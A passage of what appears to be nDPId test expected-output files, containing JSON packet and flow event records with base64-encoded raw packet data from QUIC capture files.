BjFuUHZqr\/n44HZdYpSX8wkuYEGZsdPEcXSGIiSx8CluniDEylvMl5tKVNfzb3HvXcUx1SGS16yi3shkSz0gpV6IcbKIhnqUCzGEjdiyWnpBlciK6HeXfjr9dd5NP+h4mFUAAOU5nSGIB57r1sNrH9OLmtoA6ur3yraqth4hjJts97VIkdYNQdciJrYop2gyAdhNkfBkbvEFohoCBpXAZ+gDsV9xqKzVhzrusSR5NAVoWHd8RK0P\/IuYUOOoudt\/GE6TneyNwSwT0acYcpPRbPCPtoi2G7PDwMurF4Zsr7HbCtbuqxns9UhKvwkTGP6y3PZDSDYEENLCI1JFRbNwuVgn8jclWdDDpurFaOT6xkHdHCUJgGe6ZthDoCpe2b5s\/L5jOprI4sRZGabIkxU0VIdLdCDzZ3tQrgvzv\/N\/PCT959NFhwo0NskqYDZNConXLBCHCAXJuUG4ZstajnKeFiK\/wQI84hvt3rbQF0NGhGBfWj3bOJ5lvsvF2NIrAq2m\/+m3Wy\/e\/APiC\/uKXDGM6AbXsV5y1LLe8kdZLT4vwbT1+eec5qB4QTpzUA4uI\/iVQ6V+n5tEoygnim0rrXYARaSBHRibfR0mV\/5yCfeqe8IXSse5fURR1IdZlmJDat6\/RzqxBa5Vx5PoEXwVk5h9BKU0PQxl25tHRm2XXYvf6WOxT71zylAljO2h3trBowSPsz\/8cl2y85BXaAMwi0GnDYfXdMX2YGtUsx5pdxlXMMunadtU6yzGWK26I9+q+Qd63FBhmupg2GE5yzHe+JZwI9Eb7VbvPb\/O12oTNBjP67xqEXILVGKZeKBPu3OM8qK51tOzHPAuEOePEVe63ju88LW+65DRgk1tfF\/pkkYqljtIVyyKK49u0GAhS7Uj0GkBsqqZnGeU\/s7O7mvb0a\/jqxu98ep6nsYRs2o5JV1owme5toCH53X67hVClpihczOpfGg3ErKGziMSk9AHOzGwCQdr7D\/dziuScyCr0o3+GTxYh\/++0ZqwY0YbjfdkshWg+P01Qa+nDHQfp3FPdH1ZUoctxZ3JKKuMqJQlpzRI68Mb\/xAyYlncmqFJ3qDQU9iAgtlEsjuyDzekAcPbEjHOhzwjexhAKGobFkpu1Uq0CN5CIkg\/ZKlavI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":347,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":348,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":36000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAAQABZEalrXmHhkgrmKKgBu\/L0BOzHc0XB5dtGDPWWdor+v7WYIEsIskFDLr2mbpTKerwSdrzVPd\/1QS6yzCDnuunxHqHmWphY0fkYbixrLKgSk3yTR\/ozQ05sbIg5ez2CxAeemwqnV8eJ76PXGZUJD3Wfguie6UNTy0dmkcyoMJd31dHOI3TVrk8enu4VAXxNcYWmUTWNoURH06j41bIEME798KMqr3qw77Vx8+CzwfGABgDJK7kSNf1qrg1yjCAOwQl2d4Uleaw4BuKN7TbAV4XoRoNk0f2Jvn6cuipqOe0O2OW7r1M1og7J5bdLwIvqxS+bXTVL5EwiOst1kb\/CU3ccFZEtQmUQAnsOleOT6+MacWCPbbjbHVnx2nRwL2\/AqjWPXV3e3fxvdhrGIi6kNgH0+uW4LJsYFgAXFGGjd64Q98W2laYgFwTcHX2Ld+b2lu8ezwF\/YzZ3c0JLKX+u4NDaMKjiuAaB0OLHOABpyoDD8sjT2jdOFVzdBA5ARj54ur5DoPnCKS1ipegfqtO6PYLpHUU6Fhsqhk\/T5u5UvuEpqBjFuUHZqr\/n44HZdYpSX8wkuYEGZsdPEcXSGIiSx8CluniDEylvMl5tKVNfzb3HvXcUx1SGS16yi3shkSz0gpV6IcbKIhnqUCzGEjdiyWnpBlciK6HeXfjr9dd5NP+h4mFUAAOU5nSGIB57r1sNrH9OLmtoA6ur3yraqth4hjJts97VIkdYNQdciJrYop2gyAdhNkfBkbvEFohoCBpXAZ+gDsV9xqKzVhzrusSR5NAVoWHd8RK0P\/IuYUOOoudt\/GE6TneyNwSwT0acYcpPRbPCPtoi2G7PDwMurF4Zsr7HbCtbuqxns9UhKvwkTGP6y3PZDSDYEENLCI1JFRbNwuVgn8jclWdDDpurFaOT6xkHdHCUJgGe6ZthDoCpe2b5s\/L5jOprI4sRZGabIkxU0VIdLdCDzZ3tQrgvzv\/N\/PCT959NFhwo0NskqYDZNConXLBCHCAXJuUG4ZstajnKeFiK\/wQI84hvt3rbQF0NGhGBfWj3bOJ5lvsvF2NIrAq2m\/+m3Wy\/e\/APiC\/uKXDGM6AbXsV5y1LLe8kdZLT4vwbT1+eec5qB4QTpzUA4uI\/iVQ6V+n5tEoygnim0rrXYARaSBHRibfR0mV\/5yCfeqe8IXSse5fURR1IdZlmJDat6\/RzqxBa5Vx5PoEXwVk5h9BKU0PQxl25tHRm2XXYvf6WOxT71zylAljO2h3trBowSPsz\/8cl2y85BXaAMwi0GnDYfXdMX2YGtUsx5pdxlXMMunadtU6yzGWK26I9+q+Qd63FBhmupg2GE5yzHe+JZwI9Eb7VbvPb\/O12oTNBjP67xqEXILVGKZeKBPu3OM8qK51tOzHPAuEOePEVe63ju88LW+65DRgk1tfF\/pkkYqljtIVyyKK49u0GAhS7Uj0GkBsqqZnGeU\/s7O7mvb0a\/jqxu98ep6nsYRs2o5JV1owme5toCH53X67hVClpihczOpfGg3ErKGziMSk9AHOzGwCQdr7D\/dziuScyCr0o3+GTxYh\/++0ZqwY0YbjfdkshWg+P01Qa+nDHQfp3FPdH1ZUoctxZ3JKKuMqJQlpzRI68Mb\/xAyYlncmqFJ3qDQU9iAgtlEsjuyDzekAcPbEjHOhzwjexhAKGobFkpu1Uq0CN5CIkg\/ZKlavI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":348,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":349,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":36000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAAQABZEakzXmHhkgrmKKgBu\/L0BOzHc0XB5dtGDPWWdor+v7WYIEsIskFDLr2mbpTKerwSdrzVPd\/1QS6yzCDnuunxHqHmWphY0fkYbixrLKgSk3yTR\/ozQ05sbIg5ez2CxAeemwqnV8eJ76PXGZUJD3Wfguie6UNTy0dmkcyoMJd31dHOI3TVrk8enu4VAXxNcYWmUTWNoURH06j41bIEME798KMqr3qw77Vx8+CzwfGABgDJK7kSNf1qrg1yjCAOwQl2d4Uleaw4BuKN7TbAV4XoRoNk0f2Jvn6cuipqOe0O2OW7r1M1og7J5bdLwIvqxS+bXTVL5EwiOst1kb\/CU3ccFZEtQmUQAnsOleOT6+MacWCPbbjbHVnx2nRwL2\/AqjWPXV3e3fxvdhrGIi6kNgH0+uW4LJsYFgAXFGGjd64Q98W2laYgFwTcHX2Ld+b2lu8ezwF\/YzZ3c0JLKX+u4NDaMKjiuAaB0OLHOABpyoDD8sjT2jdOFVzdBA5ARj54ur5DoPnCKS1ipegfqtO6PYLpHUU6Fhsqhk\/T5u5UvuEpqBjFuUHZqr\/n44HZdYpSX8wkuYEGZsdPEcXSGIiSx8CluniDEylvMl5tKVNfzb3HvXcUx1SGS16yi3shkSz0gpV6IcbKIhnqUCzGEjdiyWnpBlciK6HeXfjr9dd5NP+h4mFUAAOU5nSGIB57r1sNrH9OLmtoA6ur3yraqth4hjJts97VIkdYNQdciJrYop2gyAdhNkfBkbvEFohoCBpXAZ+gDsV9xqKzVhzrusSR5NAVoWHd8RK0P\/IuYUOOoudt\/GE6TneyNwSwT0acYcpPRbPCPtoi2G7PDwMurF4Zsr7HbCtbuqxns9UhKvwkTGP6y3PZDSDYEENLCI1JFRbNwuVgn8jclWdDDpurFaOT6xkHdHCUJgGe6ZthDoCpe2b5s\/L5jOprI4sRZGabIkxU0VIdLdCDzZ3tQrgvzv\/N\/PCT959NFhwo0NskqYDZNConXLBCHCAXJuUG4ZstajnKeFiK\/wQI84hvt3rbQF0NGhGBfWj3bOJ5lvsvF2NIrAq2m\/+m3Wy\/e\/APiC\/uKXDGM6AbXsV5y1LLe8kdZLT4vwbT1+eec5qB4QTpzUA4uI\/iVQ6V+n5tEoygnim0rrXYARaSBHRibfR0mV\/5yCfeqe8IXSse5fURR1IdZlmJDat6\/RzqxBa5Vx5PoEXwVk5h9BKU0PQxl25tHRm2XXYvf6WOxT71zylAljO2h3trBowSPsz\/8cl2y85BXaAMwi0GnDYfXdMX2YGtUsx5pdxlXMMunadtU6yzGWK26I9+q+Qd63FBhmupg2GE5yzHe+JZwI9Eb7VbvPb\/O12oTNBjP67xqEXILVGKZeKBPu3OM8qK51tOzHPAuEOePEVe63ju88LW+65DRgk1tfF\/pkkYqljtIVyyKK49u0GAhS7Uj0GkBsqqZnGeU\/s7O7mvb0a\/jqxu98ep6nsYRs2o5JV1owme5toCH53X67hVClpihczOpfGg3ErKGziMSk9AHOzGwCQdr7D\/dziuScyCr0o3+GTxYh\/++0ZqwY0YbjfdkshWg+P01Qa+nDHQfp3FPdH1ZUoctxZ3JKKuMqJQlpzRI68Mb\/xAyYlncmqFJ3qDQU9iAgtlEsjuyDzekAcPbEjHOhzwjexhAKGobFkpu1Uq0CN5CIkg\/ZKlavI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":349,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":350,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":36000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAABQABZEalqXmHhkgrmKKgBu\/L0BOz\/LUEKQ\/69OwU7YOoEjfCU6PYIxZC0bpOhRpIoJJm+nxm46Oz7TPDsxFM7UHGJ5QaLSAhKzf2tpv2a5HzpBrqxZkSiLpkvtW4REvRhAhMuGxbt9FhZxZhIHGF10o7mZCkliyT+CXM+wsY5COnoW+BioHtzhcAIc1SFAJXC1KaM4VSZ8ASaGOMzV5qkDoWkMVkVXkOQ6Yl0LTSr13A63bczUxZ4x\/9td8rT9Hih4juaIs3wtx9OzII0pSe3pRJ8v5nPbycL23JcZMUYkOHwsu6clqBLaiq9uzdv\/UkVQvFLr6BSmz4hV8TUAuFVhlk3oYZs2jy6Lnt6JtjR5ON6UxO+amg\/oXRpYjT7\/s\/82ystuT3XOoq+c2sx+PqlbFaAug8yBeIXxzjgp2lJo8Dn7cBzcAWmBsn20IcWplQu\/4hhDQmNTcs9lGvcgAxJnM2csmvsuDDIgjoxXBsAJnRdBG4F9LcE1hvwc+6XBsAWPKCOhWZx77O45loQ1gYuo+R3lDHAKf90QLuXSeqS7ySxVsrZ+L7a1\/2Tl73hPIILFiYSrVVCHzHYbgEUR2FnZ4qJgdQANm6k7VQ0rAPZS4Ff7rLCFjiBY2VdunBzvH6VM\/NX+cTlx1jb7f7Wh6sAmS0N0688HZF+ZdGgNb1St2MKd3xCgefqsoo9gdXG2luGBB8uIrpDx8vlKjebGmswm82uvSnkBm88PHSXeyNp1Ioepnm4O68qayYBVG+iAtGK\/h2X8G6Wg+5WHs2CPDKp010y+tL4bXI\/jK\/L89DvTSjGtCgSvLSk26jjus8LpnO9B\/aHf6B01+\/SmQOwjduO6DVQTR6pMffT98puv41RE2MWaIXsUJ3OateqyC7GqFBCr9HOvE5\/NIl6bGlJXUzDzbdQLmwoz9sYVr6PF6GsR1JU2ugkt3UmReS2wXdOSS9hXah6T42MrRWMXe\/ARn13rDog1mp9T6XY8r0PSZfoQyBd2qN5kdphBGqJIpIMqN5J4YQPdQczKr5yScja69FMzXUv3N7x5BcJ8byhRJO6AE6UTdr30x\/vsJ1+Loriv8M8xjI3b2XXY6HpYOirlmqm5b69wcLMv2kF4rqgcmgYFz11w4Pqsb5ucrmsiLJ0fFoUoiv8B22nMAg3lMihc214tPUWdMLyVUp0SBD+8AedmwVe8ClnTE+67lkrkpE5ZoIiAmqghJWQAsp\/3+zrUNinfvOtmp5KRe7g+ixZkqfSbN3\/O7\/rrF8qj03MiOryAEcKIDOVs0otnfjQQDIcHrixxFrXIPPdGeo\/XNXdT3rturTw5WbN\/T7ZNRDVoUCZkojyCHGSq+6jEEoijN1F2WOeBaQk\/9OE5UvfkN\/r3ew5dBxJn7UeNtS6rQ6gpPlYGbk8rUIIk2X5DqTqywbIe+RRiAuXYogwHvBaICuBnHfCM4wLTs7WZY+xJ7wiOlrjzYZvWZ9+r8Vip7nUVupQLi7sKHDfUAs9w8qngy9zGa5N55ILdyVFSStLbilI\/iUXT7Tr9z+Cx4eECmVq3sUzbveAsOaoWqQkCuLcGZ\/r3b9\/045kgK0m5LNouE+KaDM6gbEl25MY6AnLD8wZtHVXWVADD+fBzWPy+iywEnphzQirOW\/3upT7dSCactXPxZrNxFWfPymhPYu0Krc2ivZ465hUCU0ekKodOQt6rIA="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":350,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":351,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":36000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAABQABZEalqXmHhkgrmKKgBu\/L0BOz\/LUEKQ\/69OwU7YOoEjfCU6PYIxZC0bpOhRpIoJJm+nxm46Oz7TPDsxFM7UHGJ5QaLSAhKzf2tpv2a5HzpBrqxZkSiLpkvtW4REvRhAhMuGxbt9FhZxZhIHGF10o7mZCkliyT+CXM+wsY5COnoW+BioHtzhcAIc1SFAJXC1KaM4VSZ8ASaGOMzV5qkDoWkMVkVXkOQ6Yl0LTSr13A63bczUxZ4x\/9td8rT9Hih4juaIs3wtx9OzII0pSe3pRJ8v5nPbycL23JcZMUYkOHwsu6clqBLaiq9uzdv\/UkVQvFLr6BSmz4hV8TUAuFVhlk3oYZs2jy6Lnt6JtjR5ON6UxO+amg\/oXRpYjT7\/s\/82ystuT3XOoq+c2sx+PqlbFaAug8yBeIXxzjgp2lJo8Dn7cBzcAWmBsn20IcWplQu\/4hhDQmNTcs9lGvcgAxJnM2csmvsuDDIgjoxXBsAJnRdBG4F9LcE1hvwc+6XBsAWPKCOhWZx77O45loQ1gYuo+R3lDHAKf90QLuXSeqS7ySxVsrZ+L7a1\/2Tl73hPIILFiYSrVVCHzHYbgEUR2FnZ4qJgdQANm6k7VQ0rAPZS4Ff7rLCFjiBY2VdunBzvH6VM\/NX+cTlx1jb7f7Wh6sAmS0N0688HZF+ZdGgNb1St2MKd3xCgefqsoo9gdXG2luGBB8uIrpDx8vlKjebGmswm82uvSnkBm88PHSXeyNp1Ioepnm4O68qayYBVG+iAtGK\/h2X8G6Wg+5WHs2CPDKp010y+tL4bXI\/jK\/L89DvTSjGtCgSvLSk26jjus8LpnO9B\/aHf6B01+\/SmQOwjduO6DVQTR6pMffT98puv41RE2MWaIXsUJ3OateqyC7GqFBCr9HOvE5\/NIl6bGlJXUzDzbdQLmwoz9sYVr6PF6GsR1JU2ugkt3UmReS2wXdOSS9hXah6T42MrRWMXe\/ARn13rDog1mp9T6XY8r0PSZfoQyBd2qN5kdphBGqJIpIMqN5J4YQPdQczKr5yScja69FMzXUv3N7x5BcJ8byhRJO6AE6UTdr30x\/vsJ1+Loriv8M8xjI3b2XXY6HpYOirlmqm5b69wcLMv2kF4rqgcmgYFz11w4Pqsb5ucrmsiLJ0fFoUoiv8B22nMAg3lMihc214tPUWdMLyVUp0SBD+8AedmwVe8ClnTE+67lkrkpE5ZoIiAmqghJWQAsp\/3+zrUNinfvOtmp5KRe7g+ixZkqfSbN3\/O7\/rrF8qj03MiOryAEcKIDOVs0otnfjQQDIcHrixxFrXIPPdGeo\/XNXdT3rturTw5WbN\/T7ZNRDVoUCZkojyCHGSq+6jEEoijN1F2WOeBaQk\/9OE5UvfkN\/r3ew5dBxJn7UeNtS6rQ6gpPlYGbk8rUIIk2X5DqTqywbIe+RRiAuXYogwHvBaICuBnHfCM4wLTs7WZY+xJ7wiOlrjzYZvWZ9+r8Vip7nUVupQLi7sKHDfUAs9w8qngy9zGa5N55ILdyVFSStLbilI\/iUXT7Tr9z+Cx4eECmVq3sUzbveAsOaoWqQkCuLcGZ\/r3b9\/045kgK0m5LNouE+KaDM6gbEl25MY6AnLD8wZtHVXWVADD+fBzWPy+iywEnphzQirOW\/3upT7dSCactXPxZrNxFWfPymhPYu0Krc2ivZ465hUCU0ekKodOQt6rIA="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":351,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":352,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":36000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAABQABZEakyXmHhkgrmKKgBu\/L0BOz\/LUEKQ\/69OwU7YOoEjfCU6PYIxZC0bpOhRpIoJJm+nxm46Oz7TPDsxFM7UHGJ5QaLSAhKzf2tpv2a5HzpBrqxZkSiLpkvtW4REvRhAhMuGxbt9FhZxZhIHGF10o7mZCkliyT+CXM+wsY5COnoW+BioHtzhcAIc1SFAJXC1KaM4VSZ8ASaGOMzV5qkDoWkMVkVXkOQ6Yl0LTSr13A63bczUxZ4x\/9td8rT9Hih4juaIs3wtx9OzII0pSe3pRJ8v5nPbycL23JcZMUYkOHwsu6clqBLaiq9uzdv\/UkVQvFLr6BSmz4hV8TUAuFVhlk3oYZs2jy6Lnt6JtjR5ON6UxO+amg\/oXRpYjT7\/s\/82ystuT3XOoq+c2sx+PqlbFaAug8yBeIXxzjgp2lJo8Dn7cBzcAWmBsn20IcWplQu\/4hhDQmNTcs9lGvcgAxJnM2csmvsuDDIgjoxXBsAJnRdBG4F9LcE1hvwc+6XBsAWPKCOhWZx77O45loQ1gYuo+R3lDHAKf90QLuXSeqS7ySxVsrZ+L7a1\/2Tl73hPIILFiYSrVVCHzHYbgEUR2FnZ4qJgdQANm6k7VQ0rAPZS4Ff7rLCFjiBY2VdunBzvH6VM\/NX+cTlx1jb7f7Wh6sAmS0N0688HZF+ZdGgNb1St2MKd3xCgefqsoo9gdXG2luGBB8uIrpDx8vlKjebGmswm82uvSnkBm88PHSXeyNp1Ioepnm4O68qayYBVG+iAtGK\/h2X8G6Wg+5WHs2CPDKp010y+tL4bXI\/jK\/L89DvTSjGtCgSvLSk26jjus8LpnO9B\/aHf6B01+\/SmQOwjduO6DVQTR6pMffT98puv41RE2MWaIXsUJ3OateqyC7GqFBCr9HOvE5\/NIl6bGlJXUzDzbdQLmwoz9sYVr6PF6GsR1JU2ugkt3UmReS2wXdOSS9hXah6T42MrRWMXe\/ARn13rDog1mp9T6XY8r0PSZfoQyBd2qN5kdphBGqJIpIMqN5J4YQPdQczKr5yScja69FMzXUv3N7x5BcJ8byhRJO6AE6UTdr30x\/vsJ1+Loriv8M8xjI3b2XXY6HpYOirlmqm5b69wcLMv2kF4rqgcmgYFz11w4Pqsb5ucrmsiLJ0fFoUoiv8B22nMAg3lMihc214tPUWdMLyVUp0SBD+8AedmwVe8ClnTE+67lkrkpE5ZoIiAmqghJWQAsp\/3+zrUNinfvOtmp5KRe7g+ixZkqfSbN3\/O7\/rrF8qj03MiOryAEcKIDOVs0otnfjQQDIcHrixxFrXIPPdGeo\/XNXdT3rturTw5WbN\/T7ZNRDVoUCZkojyCHGSq+6jEEoijN1F2WOeBaQk\/9OE5UvfkN\/r3ew5dBxJn7UeNtS6rQ6gpPlYGbk8rUIIk2X5DqTqywbIe+RRiAuXYogwHvBaICuBnHfCM4wLTs7WZY+xJ7wiOlrjzYZvWZ9+r8Vip7nUVupQLi7sKHDfUAs9w8qngy9zGa5N55ILdyVFSStLbilI\/iUXT7Tr9z+Cx4eECmVq3sUzbveAsOaoWqQkCuLcGZ\/r3b9\/045kgK0m5LNouE+KaDM6gbEl25MY6AnLD8wZtHVXWVADD+fBzWPy+iywEnphzQirOW\/3upT7dSCactXPxZrNxFWfPymhPYu0Krc2ivZ465hUCU0ekKodOQt6rIA="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":352,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02054{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":353,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":36000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAACQABZEalpXmHhkgrmKKgBu\/L0BOxzEVh\/\/F+FsvgskZSJEq72gHo10TdgNOHV3qtvLr34ysT4\/BQu08NXy68awukgm428CY+3uFIa\/SsYHOQWYv\/6hMCX46sHEfK3FsGd9B4aOMTDZmbct0Hi6B5hFbC0RysqpiuCGv72ybkRYMTkkmBSpKkaxMd628mXMhcYd517jH\/CS6rxLyjH721TKnNGFMFZJpKZW05u1pmo9F74UGjuzXEO89ZOXqanGwo8ZLmQTCj85x1E1RZX9aigKv5BEr63ws6yLhHIXtPDYscZDNmE2ULVjoz3kzJuZzMzTW64HxXlwsMaX6uzVAwAX\/DVkW2gqZT9R4oqnG1iUCq0cb0MR6letAQ\/fU12ToEri5STxN\/eLewgY07DxQqjTUjGstGtGCNM\/FfDTgRtPzwTJZih3hD1CfW1YEkB9tXv3wCFGUyLRPlE7MbrU8qTOcUAn41czqUHKXgJpSWqjRlqdsmuAgafgOGhqdjw1Dm38vteZONnaZ0QujAZ7ZN3UoLVU\/0h2yR1MEUH\/ATH25T5lgD9ffI\/fHDa86FcEH0enSe06V9t2jUIcvqLGVwSzjxtjTGJjrQ5mZ9ZuX\/RsW9eLUa5XcOl6q9p1sCAM956+nfVkS7tt1A7eldJbVXEI+ZcnDnBu\/HfhQghjRReyowO0uY88d1b6J5BW747Za2CrWV3An3xcrcgJ3r7Eegcow70EpRrR+5W8ayOPOR2SGTCLovooCpYeUYQ6T838f5KeN4CcXxx7FVrW0hCqLV+HJCGz2o\/AeBkwyRwIR35fIDm64HoUOpCMEB3l7n2WMd9lZS2DQtlFlThLuIymsnTAeZZCutQ7DJyF72B2wkJ9WAmyRaM7Nq+x0zpTQHmxR9xaamH9bBNq6ua2oCT5qfTkzoaG+IHmszzghAt5peXz7eqEaFqSW9OSi6Rt7nXeWpRnZS0xwrMxUtgUDclrW\/KBEJo0yZx1nkaOYHw9iwtzDJs2GBWmR94yQl7wvUuGIY6KjXTfn457StRyrcmSAcZVTUGxz7jG3KLfU2hiD2i+hGp67x8HUPue8RVimCp3M+CVhljP3AEXbJYiKYJq17hw\/NXXqU+vH3l4Ac+JioVTo5Q3+FwrWO7xRdRizXH89EUM4LwVRIVqhBY5DmxiNvI\/yxCgFw19mN2hP7yR4ixoyVHHevKc24iODyxhVIi2laJWFJ5DG5knu8grskOXH1flWjfxJBK\/\/3jC1BdMicLllb+efDa9SzMy\/3dPDg61ZXUXioRNvGC9lAdQLPrOxjvJhrN1U4tovGRi4vfa\/M+cLnYZdFxrakeiE5p5Ge8ewqhhgDnypGVxiKqOhWMtyl1pD7cCSKY+KDEUtztnzSKJJP5e5q2vmnfhsLtwxqp4YcMsGrDdwcy+whkFVB73zRViDcA8nfxNKx3ksom\/BzlnliiQ1AdXWXCf1pFpesZUDEc3UwYuqXdIonQnRDiCYrlhZ4tAO39+6nh8o7UbXxKCT7JVAC8TwzVqp8T9mo3m+mofsKgSIEYSKy38vRMDGMM9v4WJ+IK5iuL78dmEipzGMd1w89fuz3c5cxVfZRr1V7++wg3gzWDHZREzG0PMXkvJzh3OJ9rs93FmzU64537zWQLvOws8sCivE3d4H+qISlUIyJMOC5xzhRlbFKhIzWtB8ba5COlFqmJ\/NM="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":353,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} diff --git a/test/results/quic-mvfst-27.pcapng.out b/test/results/quic-mvfst-27.pcapng.out new file mode 100644 index 000000000..bfa29e4cf --- /dev/null +++ b/test/results/quic-mvfst-27.pcapng.out @@ -0,0 +1,17 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":41432,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.15","dst_ip":"69.171.250.15","src_port":35957,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02139{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-mvfst-27.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":41,"pkt_ts_usec":432902,"pkt_caplen":1326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1326,"pkt_l4_len":1240,"pkt":"UlQAEjUCCAAnANMtCABFAATsAABAAEAR6jcKAAIPRav6D4x1AbsE2OWQzPrOsAIIrbuyBEpv1K8AAES+140kYx8r1I1jytRmSbOd1I6+euAu\/WCog0hZ7CK2vbiQaDsUNhduZ4TaOU+YwMwzr4tFRPY4WVcwFZYxf3JpeyRLGb56IxYnrJ+wVEN3bI7bVdKHF8LObpsuaNgGvwptfsH+rDACd3BONx\/QShlSNEGgtojOTAb3IBxaMPoBBrqk2vcqdCneK9x+zToW6kQDTdEd1IieGWgR+hdSwpMJLkz6epIDIJvr2+7hnKY8vsay1GJiKAlvxUurjQpspuMDfgvdh0iM6M1FrTv7rKzGyRXK46jvoMQof1iOAPHATgwqM4ZuYMuNvt\/y0p1tz148IXIa\/fLbIf\/jtx8RB3egC2zhGA2mbRbaurTTw48eZ\/8+UmFX\/pGgD39VTuQ0iy3fwQ4KqkHSAZwYDfMrqtGQuy3zdVoOJcB1EfGcQ\/j15ErCmDlRT7vkVVWnNzp5ac2qQ30IkEy79yMP2uQl+qcNCK7LBv3ES0ZAYMoMzeMHxcHojmxmY7m9pU8\/6TN1mmhBOL55YskIGgF5b9dubHYOHRFbIoVzLmlUMAC3n\/J8icXYhMzF+2LMmkFk5V6Ftpg6RFwazyDsV1VvAG0px\/ZReUsDZc2BpKOvPXUMcmmbi7J+4xk79GjDWU7qn9No\/9OgaUBSqlTMXjLKVw1AQS9DQbbP6Ljm2tjkBmxsNgiaX3ZHZdlEZ39g+pfa+C3d0\/Me91SnnyzofgyFHFf\/FZrz8kZlG+cPy3y6jToJU9oYVkDn4scTl9+EJRhVW2fiSh2BpNrkr1jxBS6nl0AbZVVuTjZo1emeItVe2pTwk9uLFdXZ\/CsWVBwjAwBQ8vxgzBGFWe9Cz3WpWkEzkAzQeOKzfLIFJb1PdMquNCwMajA4Jx\/Cl8vTf2306+VAoELddtYLnop0Ayp+TxS0Rn4I5pIhgtvtCnBaEOMmPLVrk2Tj6N4i6o4MT6NN2UsGMhl2jrLGVEchP8VeBBOrUPQTIvY+Xm1UQd6ud\/GSXz1lmW9JWN\/jvl2VrC\/dEdNNNDsuFT5DVQqiDS81yxHlMqpnUJtGOqdXBxl\/ipvbbIFVJMAxqaqhOIq9lLXVi0WRSrle2jY8C6byBzVmaXR9ob+Wj5JgOJ4dl6+zmTJfROyutrX06SLZW3iXBCGlGsJZa3VoAGsKr8R2PPaQW1IM5QBB1\/g3l2+\/8cMTpVbSj+AToLePRXNLpaht6\/i0lf5tmm5WeIZEw\/kp8XgE1IVG1OwCHdXi3LW8Ju6ZT6+NSDZYRl5iCIMOLeH+Uqa7zxr6BPSdijI5fZHwJ7CyzIIsLtNldUOOeWaUdszlpTm5UglrnEBk\/8+KIWEVomulKHSD78LbyMa2ZwRhHyUIoQUx3u628eG5WvmgiPmoWBpQq0SAcNJkibSZlfyukZBXk6ytoD7RL+6u7B+gDbgoIKW3EI2Vygx0786PDvzKNz\/jICcqh071958oOMWvZwK4wNNnPl+hmatacx8NLqlbU4\/qy23i+aLaPb\/wBxpmPXyakND4mOvFt3dmh\/yOVbINbAdZZ958R4K\/VXTGhgBSkxwXbKGKq+I\/xQwGAiri3PaDQBO6NYoKc0jqzc3r